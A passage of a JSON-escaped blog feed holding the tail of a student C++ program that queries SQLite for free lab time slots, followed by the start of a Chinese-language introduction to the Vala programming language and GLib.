class=\"n\"\u003estmt\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nb\"\u003eNULL\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003estringstream\u003c/span\u003e \u003cspan class=\"n\"\u003eerror\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eerror\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Can\u0026#39;t prepare statement: \u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3_errmsg\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ethrow\u003c/span\u003e \u003cspan class=\"n\"\u003eerror\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003estr\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ewhile\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_step\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estmt\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"n\"\u003eSQLITE_ROW\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eoccupied\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_column_int\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estmt\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)].\u003c/span\u003e\u003cspan class=\"n\"\u003epush_back\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esqlite3_column_int\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estmt\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esqlite3_column_int\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estmt\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Too crap to write, because my math is taught by Cirno:-P\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eauto\u003c/span\u003e \u003cspan class=\"nl\"\u003ei\u003c/span\u003e \u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003eoccupied\u003c/span\u003e\u003cspan class=\"p\"\u003e){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003estart\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eend\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e9\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eauto\u003c/span\u003e \u003cspan class=\"nl\"\u003ej\u003c/span\u003e \u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esecond\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estart\u003c/span\u003e \u003cspan class=\"o\"\u003e!=\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efirst\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eend\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efirst\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003etoReturn\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efirst\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003epush_back\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"n\"\u003estart\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003eend\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003estart\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esecond\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eend\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003estart\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estart\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"mi\"\u003e20\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003etoReturn\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efirst\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003epush_back\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"n\"\u003estart\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e20\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eauto\u003c/span\u003e \u003cspan class=\"nl\"\u003ei\u003c/span\u003e \u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003etoReturn\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efirst\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;: \u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eauto\u003c/span\u003e \u003cspan class=\"nl\"\u003ej\u003c/span\u003e \u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esecond\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efirst\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;-\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esecond\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34; \u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Rest of the Lab are all avaliable from 8 to 20.\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003etoReturn\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// Entry formula.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eargc\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e\u003cspan class=\"o\"\u003e**\u003c/span\u003e \u003cspan class=\"n\"\u003eargv\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Lab manage system initialing...\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e \u003cspan class=\"n\"\u003edb\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"o\"\u003e!=\u003c/span\u003e \u003cspan class=\"n\"\u003eSQLITE_OK\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eargc\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mi\"\u003e2\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"n\"\u003estrcmp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eargv\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;--query\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Query the empty time in 2022-12-31.\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eget_spare\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Lab manage system instructions.\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Usage: lab-management [option]\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Options: \u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// cout \u0026lt;\u0026lt; \u0026#34; --user Login this system as teacher.\u0026#34; \u0026lt;\u0026lt; endl;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34; --query Query the empty time in 2022-12-31.\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e自行了解用途,我已经忘了。\u003c/p\u003e\u003chr /\u003e","url":"https://www.superbart.top/p/goodbye-2022.html"},{"title":"Vala 介绍","time":"2022-12-20T00:00:00Z","content":"\u003cimg src=\"http://legacy.superbart.top/picture/Random/adwaita-d.webp\" alt=\"Featured image of post Vala 介绍\" /\u003e\u003cp\u003e\u003ca class=\"link\" href=\"https://vala.dev/\" target=\"_blank\" rel=\"noopener\"\n \u003eVala\u003c/a\u003e 是由 \u003ca class=\"link\" href=\"https://www.gnome.org/\" target=\"_blank\" rel=\"noopener\"\n \u003eGNOME 小矮人\u003c/a\u003e开发的面向对象编程语言。编程语法接近 Java,围绕 \u003ca class=\"link\" href=\"https://gitlab.gnome.org/GNOME/glib/\" target=\"_blank\" rel=\"noopener\"\n \u003eGLib\u003c/a\u003e 库展开。编译方式是先翻译成 C 语言代码,然后编译。用途嘛\u0026hellip;\u0026hellip;我来讲个故事吧。\u003c/p\u003e\n\u003cp\u003e我半年前学了 Dart,Google 开发的语言,编程语法接近 Javascript。官网说它是“多用途语言”,然而我感觉多数人学了它,就是为了用 Flutter :-P\u003c/p\u003e\n\u003cp\u003eVala 也是这样,名义上是一个“多用途语言”,但是我感觉多数人学了它,只是为了 GTK。我也是不知道为啥,非得用这个语言写我的\u003ca class=\"link\" href=\"https://github.com/BenderBlog/Practise-Programs/tree/main/MySQL/exp4\" target=\"_blank\" rel=\"noopener\"\n \u003e数据库大作业\u003c/a\u003e,花了两周时间边学边写,最后也不知道我学了个啥\u0026hellip;\u0026hellip;\u003c/p\u003e\n\u003cp\u003e不得不说,GLib 是一个很强大的库。本来说是给 GTK 服务的,后来独立出去了。它实现了单/双向链表,变长数组,树,Map 等数据结构。它还以 GObject 为中心,构建了一个相当完善的,庞大的,\u003cdel\u003e让我这个菜鸡不知所以的\u003c/del\u003e类系统。\u003c/p\u003e\n\u003cp\u003e接下来大致介绍顺序:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e基本输入输出(从键盘输入,从终端输出)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e判断语句 if-else 和 switch\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e循环语句,包括计数和计事件循环\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e我一点都不懂的面向对象\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eGLib 库和 Gee 库\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eSQLite 3 库\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"推荐链接\"\u003e推荐链接\u003c/h2\u003e\n\u003cp\u003e先给大家推荐一些前人的经验教训:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://wszqkzqk.github.io/2022/10/17/%E6%8E%A2%E7%B4%A2Vala%E8%AF%AD%E8%A8%80/\" target=\"_blank\" rel=\"noopener\"\n \u003e探索Vala语言 - 星外之神的博客 | wszqkzqk Blog\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://valadoc.org/index.htm\" target=\"_blank\" rel=\"noopener\"\n \u003eValadoc.org (Vala 库文档网站)\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://wiki.gnome.org/Projects/Vala/Documentation\" target=\"_blank\" rel=\"noopener\"\n \u003eProjects/Vala/Documentation - GNOME Wiki! 